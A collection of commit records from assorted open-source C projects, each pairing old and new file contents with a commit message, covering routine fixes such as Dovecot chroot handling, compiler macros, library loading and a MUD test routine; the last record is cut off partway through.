{"commit":"02d32b05a69c125b9c30d7002f023de4bd55ab4b","old_file":"src\/auth\/userdb-passwd.c","new_file":"src\/auth\/userdb-passwd.c","old_contents":"\/* Copyright (C) 2002-2003 Timo Sirainen *\/\n\n#include \"config.h\"\n#undef HAVE_CONFIG_H\n\n#ifdef USERDB_PASSWD\n\n#include \"common.h\"\n#include \"userdb.h\"\n\n#include <pwd.h>\n\nstatic void passwd_lookup(const char *user, userdb_callback_t *callback,\n\t\t\t  void *context)\n{\n\tstruct user_data data;\n\tstruct passwd *pw;\n\n\tpw = getpwnam(user);\n\tif (pw == NULL) {\n\t\tif (errno != 0)\n\t\t\ti_error(\"getpwnam(%s) failed: %m\", user);\n\t\telse if (verbose)\n\t\t\ti_info(\"passwd(%s): unknown user\", user);\n\t\tcallback(NULL, context);\n\t\treturn;\n\t}\n\n\tmemset(&data, 0, sizeof(data));\n\tdata.uid = pw->pw_uid;\n\tdata.gid = pw->pw_gid;\n\n\tdata.virtual_user = data.system_user = pw->pw_name;\n\tdata.home = pw->pw_dir;\n\n\tcallback(&data, context);\n}\n\nstruct userdb_module userdb_passwd = {\n\tNULL, NULL,\n\tpasswd_lookup\n};\n\n#endif\n","new_contents":"\/* Copyright (C) 2002-2003 Timo Sirainen *\/\n\n#include \"config.h\"\n#undef HAVE_CONFIG_H\n\n#ifdef USERDB_PASSWD\n\n#include \"common.h\"\n#include \"userdb.h\"\n\n#include <pwd.h>\n\nstatic void passwd_lookup(const char *user, userdb_callback_t *callback,\n\t\t\t  void *context)\n{\n\tstruct user_data data;\n\tstruct passwd *pw;\n\tsize_t len;\n\n\tpw = getpwnam(user);\n\tif (pw == NULL) {\n\t\tif (errno != 0)\n\t\t\ti_error(\"getpwnam(%s) failed: %m\", user);\n\t\telse if (verbose)\n\t\t\ti_info(\"passwd(%s): unknown user\", user);\n\t\tcallback(NULL, context);\n\t\treturn;\n\t}\n\n\tmemset(&data, 0, sizeof(data));\n\tdata.uid = pw->pw_uid;\n\tdata.gid = pw->pw_gid;\n\n\tdata.virtual_user = data.system_user = pw->pw_name;\n\n\tlen = strlen(pw->pw_dir);\n\tif (len < 3 || strcmp(pw->pw_dir + len - 3, \"\/.\/\") != 0)\n\t\tdata.home = pw->pw_dir;\n\telse {\n\t\t\/* wu-ftpd uses <chroot>\/.\/<dir>. We don't support\n\t\t   the dir after chroot, but this should work well enough. *\/\n\t\tdata.home = t_strndup(pw->pw_dir, len-3);\n\t\tdata.chroot = TRUE;\n\t}\n\n\tcallback(&data, context);\n}\n\nstruct userdb_module userdb_passwd = {\n\tNULL, NULL,\n\tpasswd_lookup\n};\n\n#endif\n","subject":"Support wu-ftpd-like chrooting in \/etc\/passwd. If home directory ends with \"\/.\/\", it's chrooted to.","message":"Support wu-ftpd-like chrooting in \/etc\/passwd. If home directory ends with\n\"\/.\/\", it's chrooted to.\n\n--HG--\nbranch : HEAD\n","lang":"C","license":"mit","repos":"jkerihuel\/dovecot,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,jkerihuel\/dovecot,dscho\/dovecot,jkerihuel\/dovecot,dscho\/dovecot,jkerihuel\/dovecot,dscho\/dovecot,dscho\/dovecot,jkerihuel\/dovecot,jwm\/dovecot-notmuch,dscho\/dovecot"}
{"commit":"92f0a3f1d26eb0a1513a94caa17de980a4979558","old_file":"software\/infnoise.h","new_file":"software\/infnoise.h","old_contents":"#include <stdbool.h>\n#include <stdint.h>\n#include <sys\/types.h>\n#include <ftdi.h>\n\n\/\/ Structure for parsed command line options\nstruct opt_struct {\n\tuint32_t outputMultiplier; \/\/ We output all the entropy when outputMultiplier == 0\n\tbool daemon;\t\t\/\/ Run as daemon?\n\tbool debug;\t\t\/\/ Print debugging info?\n\tbool devRandom;\t\t\/\/ Feed \/dev\/random?\n\tbool noOutput;\t\t\/\/ Supress output?\n\tbool listDevices;\t\/\/ List possible USB-devices?\n\tbool help;\t\t\/\/ Show help\n\tbool none;\t\t\/\/ set to true when no valid arguments where detected\n\tbool raw;\t\t\/\/ No whitening?\n\tbool version;\t\t\/\/ Show version\n\tchar *pidFileName;\t\/\/ Name of optional PID-file\n\tchar *serial;\t\t\/\/ Name of selected device\n};\n\nvoid startDaemon(struct opt_struct *opts);\n","new_contents":"#include <stdbool.h>\n#include <stdint.h>\n#include <sys\/types.h>\n#include <linux\/limits.h>\n#include <ftdi.h>\n\n\/\/ Structure for parsed command line options\nstruct opt_struct {\n\tuint32_t outputMultiplier; \/\/ We output all the entropy when outputMultiplier == 0\n\tbool daemon;\t\t\/\/ Run as daemon?\n\tbool debug;\t\t\/\/ Print debugging info?\n\tbool devRandom;\t\t\/\/ Feed \/dev\/random?\n\tbool noOutput;\t\t\/\/ Supress output?\n\tbool listDevices;\t\/\/ List possible USB-devices?\n\tbool help;\t\t\/\/ Show help\n\tbool none;\t\t\/\/ set to true when no valid arguments where detected\n\tbool raw;\t\t\/\/ No whitening?\n\tbool version;\t\t\/\/ Show version\n\tchar *pidFileName;\t\/\/ Name of optional PID-file\n\tchar *serial;\t\t\/\/ Name of selected device\n};\n\nvoid startDaemon(struct opt_struct *opts);\n","subject":"Fix related to missing include (PATH_MAX)","message":"Fix related to missing include (PATH_MAX)\n","lang":"C","license":"cc0-1.0","repos":"manuel-domke\/infnoise,manuel-domke\/infnoise,waywardgeek\/infnoise,manuel-domke\/infnoise,manuel-domke\/infnoise,waywardgeek\/infnoise,waywardgeek\/infnoise,manuel-domke\/infnoise,waywardgeek\/infnoise"}
{"commit":"f784d4fd6fa0dc156d4512f40df337e6cc7c1f3c","old_file":"SC4Fix\/patcher.h","new_file":"SC4Fix\/patcher.h","old_contents":"#pragma once\n#include <stdint.h>\n\n#define ASMJMP(a) _asm { mov CPatcher::uJumpBuffer, a } _asm { jmp CPatcher::uJumpBuffer }\n\ntypedef void (*tfnHookFunc)(void);\n\nclass CPatcher {\npublic:\n\n\tstatic void InstallHook(uint32_t uAddress, void (*pfnFunc)(void));\n\tstatic void UninstallHook(uint32_t uAddress, uint8_t uFirstByte, uint32_t uOtherBytes);\n\tstatic void InstallCallHook(uint32_t uAddress, void (*pfnFunc)(void));\n\tstatic void InstallMethodHook(uint32_t uAddress, void (*pfnFunc)(void));\n\n\tstatic void UnprotectAll(void);\n\n\tstatic uint32_t uJumpBuffer;\n};","new_contents":"#pragma once\n#include <stdint.h>\n\n#define ASMJMP(a) _asm { mov CPatcher::uJumpBuffer, a } _asm { jmp CPatcher::uJumpBuffer }\n#define RETJMP(a) _asm { push a } _asm { ret }\n\ntypedef void (*tfnHookFunc)(void);\n\nclass CPatcher {\npublic:\n\n\tstatic void InstallHook(uint32_t uAddress, void (*pfnFunc)(void));\n\tstatic void UninstallHook(uint32_t uAddress, uint8_t uFirstByte, uint32_t uOtherBytes);\n\tstatic void InstallCallHook(uint32_t uAddress, void (*pfnFunc)(void));\n\tstatic void InstallMethodHook(uint32_t uAddress, void (*pfnFunc)(void));\n\n\tstatic void UnprotectAll(void);\n\n\tstatic uint32_t uJumpBuffer;\n};","subject":"Add RETJMP for jumping to dynamic addresses","message":"Add RETJMP for jumping to dynamic addresses\n","lang":"C","license":"mit","repos":"nsgomez\/sc4fix,nsgomez\/sc4fix,nsgomez\/sc4fix"}
{"commit":"a42dff69c2d9260223aa34c0c5c23ab7128644a7","old_file":"gnu\/lib\/libdialog\/notify.c","new_file":"gnu\/lib\/libdialog\/notify.c","old_contents":"\/*\n * File: \tnotify.c\n * Author: \tMarc van Kempen\n * Desc:\tdisplay a notify box with a message\n *\n * Copyright (c) 1995, Marc van Kempen\n *\n * All rights reserved.\n *\n * This software may be used, modified, copied, distributed, and\n * sold, in both source and binary form provided that the above\n * copyright and these terms are retained, verbatim, as the first\n * lines of this file.  Under no circumstances is the author\n * responsible for the proper functioning of this software, nor does\n * the author assume any responsibility for damages incurred with\n * its use.\n * \n *\/\n\n\n#include <dialog.h>\n#include <stdio.h>\n\nvoid\ndialog_notify(char *msg)\n\/* \n * Desc: display an error message\n *\/\n{\n    char *tmphlp;\n    WINDOW *w;\n\n    w = dupwin(newscr);\n    if (w == NULL) {\n\tendwin();\n\tfprintf(stderr, \"\\ndupwin(newscr) failed, malloc memory corrupted\\n\");\n\texit(1);\n    }\n    tmphlp = get_helpline();\n    use_helpline(\"Press enter to continue\");\n    dialog_mesgbox(\"Message\", msg, -1, -1, TRUE);\n    restore_helpline(tmphlp);\n    touchwin(w);\n    wrefresh(w);\n    delwin(w);\n\n    return;\n\n} \/* dialog_notify() *\/\n\n","new_contents":"\/*\n * File: \tnotify.c\n * Author: \tMarc van Kempen\n * Desc:\tdisplay a notify box with a message\n *\n * Copyright (c) 1995, Marc van Kempen\n *\n * All rights reserved.\n *\n * This software may be used, modified, copied, distributed, and\n * sold, in both source and binary form provided that the above\n * copyright and these terms are retained, verbatim, as the first\n * lines of this file.  Under no circumstances is the author\n * responsible for the proper functioning of this software, nor does\n * the author assume any responsibility for damages incurred with\n * its use.\n * \n *\/\n\n\n#include <dialog.h>\n#include <stdio.h>\n\nvoid\ndialog_notify(char *msg)\n\/* \n * Desc: display an error message\n *\/\n{\n    char *tmphlp;\n    WINDOW *w;\n\n    w = dupwin(newscr);\n    if (w == NULL) {\n\tendwin();\n\tfprintf(stderr, \"\\ndupwin(newscr) failed, malloc memory corrupted\\n\");\n\texit(1);\n    }\n    tmphlp = get_helpline();\n    use_helpline(\"Press enter to continue\");\n    dialog_mesgbox(\"Message\", msg, -1, -1);\n    restore_helpline(tmphlp);\n    touchwin(w);\n    wrefresh(w);\n    delwin(w);\n\n    return;\n\n} \/* dialog_notify() *\/\n\n","subject":"Remove extra argument from mesgbox","message":"Remove extra argument from mesgbox\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"e5135809c3e77f8f1cf0e84840220c789421b712","old_file":"src\/OsmTileSource.h","new_file":"src\/OsmTileSource.h","old_contents":"\/*\n *  OsmTileSource.h\n *  RunParticles\n *\n *  Created by Doug Letterman on 6\/30\/14.\n *  Copyright 2014 Doug Letterman. All rights reserved.\n *\n *\/\n\n#ifndef OSMTILESOURCE_H\n#define OSMTILESOURCE_H\n\n#include <QObject>\n#include <QNetworkAccessManager>\n#include <QNetworkReply>\n\n#include \"Singleton.h\"\n\n#include \"math.h\"\n\nstruct OsmTile {\n    unsigned int x, y, z;\n};\n\ntemplate<typename T>\nstruct OsmTileHash\n{\n    std::size_t operator()(const T& t) const\n    {\n        unsigned int offset = 0;\n        for (unsigned int i=1; i < t.z; i++) {\n            offset += pow(2, 2*i);\n        }\n        unsigned int edge = pow(2, t.z);\n        return std::size_t(offset + t.x * edge + t.y);\n    }\n};\n\nclass OsmTileSource : public QObject\n{\n    Q_OBJECT\n    \npublic:\n    \n    void getTile(int x, int y, int z);\n    \nsignals:\n    \n    void tileReady(int x, int y, int z);\n    \npublic slots:\n    \n    void onRequestFinished(QNetworkReply *reply);\n    \nprotected:\n    \n    \n    \n};\n\n#endif\n","new_contents":"\/*\n *  OsmTileSource.h\n *  RunParticles\n *\n *  Created by Doug Letterman on 6\/30\/14.\n *  Copyright 2014 Doug Letterman. All rights reserved.\n *\n *\/\n\n#ifndef OSMTILESOURCE_H\n#define OSMTILESOURCE_H\n\n#include <QObject>\n#include <QNetworkAccessManager>\n#include <QNetworkReply>\n\n#include \"Singleton.h\"\n\n#include \"math.h\"\n\nstruct OsmTile {\n    unsigned int x, y, z;\n};\n\ntemplate<typename T>\nstruct OsmTileHash\n{\n    std::size_t operator()(const T& t) const\n    {\n        unsigned long offset = 0;\n        for (int i=1; i < t.z; i++) {\n            offset += pow(2, 2*i);\n        }\n        int edge = pow(2, t.z);\n        return std::size_t(offset + t.x * edge + t.y);\n    }\n};\n\nclass OsmTileSource : public QObject\n{\n    Q_OBJECT\n    \npublic:\n    \n    void getTile(int x, int y, int z);\n    \nsignals:\n    \n    void tileReady(int x, int y, int z);\n    \npublic slots:\n    \n    void onRequestFinished(QNetworkReply *reply);\n    \nprotected:\n    \n    \n    \n};\n\n#endif\n","subject":"Use an unsigned long offset instead of int.","message":"Use an unsigned long offset instead of int.\n","lang":"C","license":"mit","repos":"dal\/RunParticles,dal\/RunParticles,dal\/RunParticles"}
{"commit":"a36438803b5ad4058fd7177d09c851f356e4e69a","old_file":"include\/stdlib.h","new_file":"include\/stdlib.h","old_contents":"#ifndef _FXCG_STDLIB_H\n#define _FXCG_STDLIB_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <stddef.h>\n\nlong abs(long n);\n\nvoid free(void *p);\nvoid *malloc(size_t sz);\nvoid *realloc(void *p, size_t sz);\n\nint rand(void);\nvoid srand(unsigned seed);\n\nlong strtol(const char *str, char **str_end, int base);\nvoid qsort(void *base, size_t nel, size_t width, int (*compar)(const void *, const void *));\n\nvoid exit(int status);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"#ifndef _FXCG_STDLIB_H\n#define _FXCG_STDLIB_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <stddef.h>\n\nlong abs(long n);\n\nvoid free(void *p);\nvoid *malloc(size_t sz);\nvoid *realloc(void *p, size_t sz);\n\nint rand(void);\nvoid srand(unsigned seed);\n\nlong strtol(const char *str, char **str_end, int base);\n#define atoi(s) ((int)strtol(s, NULL, 10))\n#define atol(s) strtol(s, NULL, 10)\n\nvoid qsort(void *base, size_t nel, size_t width, int (*compar)(const void *, const void *));\n\nvoid exit(int status);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Add definitions for atio and atol.","message":"Add definitions for atio and atol.\n","lang":"C","license":"bsd-3-clause","repos":"Forty-Bot\/libfxcg,ComputerNerd\/libfxcg-copyleft,ComputerNerd\/libfxcg-copyleft,ComputerNerd\/libfxcg-copyleft,Forty-Bot\/libfxcg,Forty-Bot\/libfxcg,Jonimoose\/libfxcg,Forty-Bot\/libfxcg,Jonimoose\/libfxcg,ComputerNerd\/libfxcg-copyleft,Jonimoose\/libfxcg"}
{"commit":"15b5dd569501f0e4a66d7970238a1a87b0d9c4a7","old_file":"src\/file\/dl_posix.c","new_file":"src\/file\/dl_posix.c","old_contents":"#if HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#include \"dl.h\"\n#include \"util\/macro.h\"\n#include \"util\/logging.h\"\n\n#include <stdlib.h>\n#include <dlfcn.h>\n#include <string.h>\n\n\/\/ Note the dlopen takes just the name part. \"aacs\", internally we\n\/\/ translate to \"libaacs.so\" \"libaacs.dylib\" or \"aacs.dll\".\nvoid   *dl_dlopen  ( const char* name )\n{\n    char *path;\n    int len;\n    void *result;\n\n#ifdef __APPLE__\n    len = strlen(name) + 3 + 6 + 1;\n    path = (char *) malloc(len);\n    if (!path) return NULL;\n    snprintf(path, len, \"lib%s.dylib\", name);\n#else\n    len = strlen(name) + 3 + 3 + 1;\n    path = (char *) malloc(len);\n    if (!path) return NULL;\n    snprintf(path, len, \"lib%s.so\", name);\n#endif\n    DEBUG(DBG_BDPLUS, \"searching for library '%s' ...\\n\", path);\n    result = dlopen(path, RTLD_LAZY);\n    if (!result) {\n        DEBUG(DBG_FILE | DBG_CRIT, \"can't open library '%s': %s\\n\", path, dlerror());\n    }\n    free(path);\n    return result;\n}\n\nvoid   *dl_dlsym   ( void* handle, const char* symbol )\n{\n    void *result = dlsym(handle, symbol);\n\n    if (!result) {\n      DEBUG(DBG_FILE | DBG_CRIT, \"dlsym(%p, '%s') failed: %s\\n\", handle, symbol, dlerror());\n    }\n\n    return result;\n}\n\nint     dl_dlclose ( void* handle )\n{\n    return dlclose(handle);\n}\n","new_contents":"#if HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#include \"dl.h\"\n#include \"util\/macro.h\"\n#include \"util\/logging.h\"\n\n#include <stdlib.h>\n#include <dlfcn.h>\n#include <string.h>\n\nvoid   *dl_dlopen  ( const char* path )\n{\n    DEBUG(DBG_BDPLUS, \"searching for library '%s' ...\\n\", path);\n    void *result = dlopen(path, RTLD_LAZY);\n    if (!result) {\n        DEBUG(DBG_FILE | DBG_CRIT, \"can't open library '%s': %s\\n\", path, dlerror());\n    }\n    return result;\n}\n\nvoid   *dl_dlsym   ( void* handle, const char* symbol )\n{\n    void *result = dlsym(handle, symbol);\n\n    if (!result) {\n      DEBUG(DBG_FILE | DBG_CRIT, \"dlsym(%p, '%s') failed: %s\\n\", handle, symbol, dlerror());\n    }\n\n    return result;\n}\n\nint     dl_dlclose ( void* handle )\n{\n    return dlclose(handle);\n}\n","subject":"Change dlopening of libs to call libraries with their major version on linux systems","message":"Change dlopening of libs to call libraries with their major version on linux systems\n","lang":"C","license":"lgpl-2.1","repos":"ShiftMediaProject\/libaacs,zxlooong\/libaacs,mwgoldsmith\/aacs,ShiftMediaProject\/libaacs,mwgoldsmith\/aacs,zxlooong\/libaacs,rraptorr\/libaacs,rraptorr\/libaacs"}
{"commit":"7a15de88ba3e92564b3b7bdf6ab6ea6fd246de44","old_file":"include\/platform\/compiler\/msvc.h","new_file":"include\/platform\/compiler\/msvc.h","old_contents":"#pragma once\n\n\/\/ Clobber previous definitions with extreme prejudice\n#ifdef UNUSED\n#\tundef UNUSED\n#endif\n#ifdef likely\n#\tundef likely\n#endif\n#ifdef unlikely\n#\tundef unlikely\n#endif\n#ifdef alignment\n#\tundef alignment\n#endif\n\n#define UNUSED __pragma(warning(disable:4100))\n#define unlikely(x) (x)\n#define likely(x) (x)\n#define alignment(x) __declspec(align(x))\n\n#if (_MSC_VER >= 1400)\n#\tdefine restrict __restrict\n#else\n#\tdefine restrict\n#endif\n\n#if (MSC_VER <= 1500) && !defined(cplusplus)\n#\tdefine inline __inline\n#endif\n\n#pragma warning(disable:4201 4214)\n\n#ifndef HAVE_STDINT_H\n#\tinclude \"platform\/os\/stdint_msvc.h\"\n#endif\n\n#if !defined(HAVE_STDBOOL_H) && !defined(cplusplus)\n#\tinclude <Windows.h>\n\ttypedef BOOL bool;\n#\tdefine true TRUE\n#\tdefine false FALSE\n#endif\n","new_contents":"#pragma once\n\n\/\/ Clobber previous definitions with extreme prejudice\n#ifdef UNUSED\n#\tundef UNUSED\n#endif\n#ifdef likely\n#\tundef likely\n#endif\n#ifdef unlikely\n#\tundef unlikely\n#endif\n#ifdef alignment\n#\tundef alignment\n#endif\n\n#define unlikely(x) (x)\n#define likely(x) (x)\n#define alignment(x) __declspec(align(x))\n\n#if (_MSC_VER >= 1300)\n#\tdefine UNUSED __pragma(warning(disable:4100))\n#else\n#\tdefine UNUSED\n#endif\n\n#if (_MSC_VER >= 1400)\n#\tdefine restrict __restrict\n#else\n#\tdefine restrict\n#endif\n\n#if (MSC_VER <= 1500) && !defined(cplusplus)\n#\tdefine inline __inline\n#endif\n\n#pragma warning(disable:4201 4214)\n\n#ifndef HAVE_STDINT_H\n#\tinclude \"platform\/os\/stdint_msvc.h\"\n#endif\n\n#if !defined(HAVE_STDBOOL_H) && !defined(cplusplus)\n#\tinclude <Windows.h>\n\ttypedef BOOL bool;\n#\tdefine true TRUE\n#\tdefine false FALSE\n#endif\n","subject":"Fix build on older MSVC.","message":"Fix build on older MSVC.\n","lang":"C","license":"bsd-3-clause","repos":"foxkit-us\/supergameherm,supergameherm\/supergameherm"}
{"commit":"f69f3b12f10e133e9552d15291c1c9c236aed6b8","old_file":"list.h","new_file":"list.h","old_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\nList* List_Create(void);\nvoid List_Destroy(List* l);\nListNode* ListNode_Create(void * k);\nvoid ListNode_Destroy(ListNode* n);\nListNode* List_Search(List* l, void* k, int (f)(void*, void*));\nvoid List_Insert(List* l, ListNode* n);\nvoid List_Delete(List* l, ListNode* n);\n#endif","new_contents":"#include <stdlib.h>\n#ifndef __LIST_H__\n#define __LIST_H__\nstruct ListNode;\nstruct List;\ntypedef struct ListNode ListNode;\ntypedef struct List List;\n\nList* List_Create(void);\nvoid List_Destroy(List* l);\nListNode* ListNode_Create(void* k);\nvoid ListNode_Destroy(ListNode* n);\nListNode* List_Search(List* l, void* k, int (f)(void*, void*));\nvoid List_Insert(List* l, ListNode* n);\nvoid List_Delete(List* l, ListNode* n);\n#endif","subject":"Fix spacing in parameter for readability","message":"Fix spacing in parameter for readability\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"4981c2107f53231c8a76b6b6ae8ebef10eaea32a","old_file":"src\/Numerics\/Optimizers\/AmoebaOptimizer\/ExampleCostFunction.h","new_file":"src\/Numerics\/Optimizers\/AmoebaOptimizer\/ExampleCostFunction.h","old_contents":"\/\/\n\/\/ Created by Mathew Seng on 2019-06-03.\n\/\/\n#ifndef ExampleCostFunction_h\n#define ExampleCostFunction_h\n\n#include \"itkSingleValuedCostFunction.h\"\n\nnamespace itk\n{\nclass ExampleCostFunction2 : public SingleValuedCostFunction\n{\npublic:\n  \/** Standard class typedefs. *\/\n  typedef ExampleCostFunction2     Self;\n  typedef SingleValuedCostFunction Superclass;\n  typedef SmartPointer<Self>       Pointer;\n  typedef SmartPointer<const Self> ConstPointer;\n\n  \/** Method for creation through the object factory. *\/\n  itkNewMacro(Self);\n\n  \/** Run-time type information (and related methods). *\/\n  itkTypeMacro(ExampleCostFunction2, SingleValuedCostfunction);\n\n  unsigned int\n  GetNumberOfParameters(void) const override\n  {\n    return 2;\n  } \/\/ itk::CostFunction\n\n  MeasureType\n  GetValue(const ParametersType & parameters) const override\n  {\n    return pow(parameters[0] + 5, 2) + pow(parameters[1] - 7, 2) + 5;\n  }\n\n  void\n  GetDerivative(const ParametersType &, DerivativeType & \/*derivative*\/) const override\n  {\n    throw itk::ExceptionObject(__FILE__, __LINE__, \"No derivative is available for this cost function.\");\n  }\n\nprotected:\n  ExampleCostFunction2() = default;\n  ;\n  ~ExampleCostFunction2() override = default;\n  ;\n\nprivate:\n  ExampleCostFunction2(const Self &) = delete; \/\/ purposely not implemented\n  void\n  operator=(const Self &) = delete; \/\/ purposely not implemented\n};\n\n} \/\/ end namespace itk\n\n#endif\n","new_contents":"\/\/\n\/\/ Created by Mathew Seng on 2019-06-03.\n\/\/\n#ifndef ExampleCostFunction_h\n#define ExampleCostFunction_h\n\n#include \"itkSingleValuedCostFunction.h\"\n\nnamespace itk\n{\nclass ExampleCostFunction2 : public SingleValuedCostFunction\n{\npublic:\n  \/** Standard class typedefs. *\/\n  typedef ExampleCostFunction2     Self;\n  typedef SingleValuedCostFunction Superclass;\n  typedef SmartPointer<Self>       Pointer;\n  typedef SmartPointer<const Self> ConstPointer;\n\n  \/** Method for creation through the object factory. *\/\n  itkNewMacro(Self);\n\n  \/** Run-time type information (and related methods). *\/\n  itkTypeMacro(ExampleCostFunction2, SingleValuedCostfunction);\n\n  unsigned int\n  GetNumberOfParameters() const override\n  {\n    return 2;\n  } \/\/ itk::CostFunction\n\n  MeasureType\n  GetValue(const ParametersType & parameters) const override\n  {\n    return pow(parameters[0] + 5, 2) + pow(parameters[1] - 7, 2) + 5;\n  }\n\n  void\n  GetDerivative(const ParametersType &, DerivativeType & \/*derivative*\/) const override\n  {\n    throw itk::ExceptionObject(__FILE__, __LINE__, \"No derivative is available for this cost function.\");\n  }\n\nprotected:\n  ExampleCostFunction2() = default;\n  ;\n  ~ExampleCostFunction2() override = default;\n  ;\n\nprivate:\n  ExampleCostFunction2(const Self &) = delete; \/\/ purposely not implemented\n  void\n  operator=(const Self &) = delete; \/\/ purposely not implemented\n};\n\n} \/\/ end namespace itk\n\n#endif\n","subject":"Remove redundant void argument lists","message":"STYLE: Remove redundant void argument lists\n\nFind and remove redundant void argument lists.\n","lang":"C","license":"apache-2.0","repos":"InsightSoftwareConsortium\/ITKExamples,InsightSoftwareConsortium\/ITKExamples,InsightSoftwareConsortium\/ITKExamples,InsightSoftwareConsortium\/ITKExamples,InsightSoftwareConsortium\/ITKExamples"}
{"commit":"e80f1b331482c558a01f78b87704bc7c23b40639","old_file":"alura\/c\/adivinhacao.c","new_file":"alura\/c\/adivinhacao.c","old_contents":"#include <stdio.h>\n\nint main() {\n  \/\/ imprime o cabecalho do nosso jogo\n  printf(\"******************************************\\n\");\n  printf(\"* Bem vindo ao nosso jogo de adivinhação *\\n\");\n  printf(\"******************************************\\n\");\n}\n","new_contents":"#include <stdio.h>\n\nint main() {\n  \/\/ imprime o cabecalho do nosso jogo\n  printf(\"******************************************\\n\");\n  printf(\"* Bem vindo ao nosso jogo de adivinhação *\\n\");\n  printf(\"******************************************\\n\");\n\n  int numerosecreto = 42;\n\n  printf(\"O número %d é o secreto. Não conta pra ninguém!\\n\", numerosecreto);\n}\n","subject":"Update file, Alura, Introdução a C, Aula 1","message":"Update file, Alura, Introdução a C, Aula 1\n","lang":"C","license":"mit","repos":"fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs"}
{"commit":"646a3d3712809df66fa90bcd7ef21d3659a3e833","old_file":"mudlib\/mud\/home\/Test\/initd.c","new_file":"mudlib\/mud\/home\/Test\/initd.c","old_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2010, 2012, 2013, 2014  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths\/system.h>\n\ninherit LIB_INITD;\ninherit UTILITY_COMPILE;\n\nstatic void create()\n{\n\tKERNELD->set_global_access(\"Test\", 1);\n\n\tload_dir(\"obj\", 1);\n\tload_dir(\"sys\", 1);\n}\n","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2010, 2012, 2013, 2014  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths\/system.h>\n\ninherit LIB_INITD;\ninherit UTILITY_COMPILE;\n\nstatic void create()\n{\n\tKERNELD->set_global_access(\"Test\", 1);\n\n\tload_dir(\"obj\", 1);\n\tload_dir(\"sys\", 1);\n}\n\nvoid bomb(int quota)\n{\n\tif (quota) {\n\t\tquota--;\n\t\tclone_object(\"obj\/bomb\");\n\t\tcall_out(\"bomb\", 0, quota);\n\t}\n}\n","subject":"Allow test subsystem to set off clone bombs","message":"Allow test subsystem to set off clone bombs\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"42ee2e0938c7adec8da26ac544204d32f3af709b","old_file":"include\/fs\/fs_interface.h","new_file":"include\/fs\/fs_interface.h","old_contents":"\/*\n * Copyright (c) 2016 Intel Corporation.\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n#ifndef ZEPHYR_INCLUDE_FS_FS_INTERFACE_H_\n#define ZEPHYR_INCLUDE_FS_FS_INTERFACE_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#if defined(CONFIG_FILE_SYSTEM_LITTLEFS)\n#define MAX_FILE_NAME 256\n#else \/* FAT_FS *\/\n#define MAX_FILE_NAME 12 \/* Uses 8.3 SFN *\/\n#endif\n\nstruct fs_mount_t;\n\n\/**\n * @brief File object representing an open file\n *\n * @param Pointer to FATFS file object structure\n * @param mp Pointer to mount point structure\n *\/\nstruct fs_file_t {\n\tvoid *filep;\n\tconst struct fs_mount_t *mp;\n};\n\n\/**\n * @brief Directory object representing an open directory\n *\n * @param dirp Pointer to directory object structure\n * @param mp Pointer to mount point structure\n *\/\nstruct fs_dir_t {\n\tvoid *dirp;\n\tconst struct fs_mount_t *mp;\n};\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* ZEPHYR_INCLUDE_FS_FS_INTERFACE_H_ *\/\n","new_contents":"\/*\n * Copyright (c) 2016 Intel Corporation.\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n#ifndef ZEPHYR_INCLUDE_FS_FS_INTERFACE_H_\n#define ZEPHYR_INCLUDE_FS_FS_INTERFACE_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#if 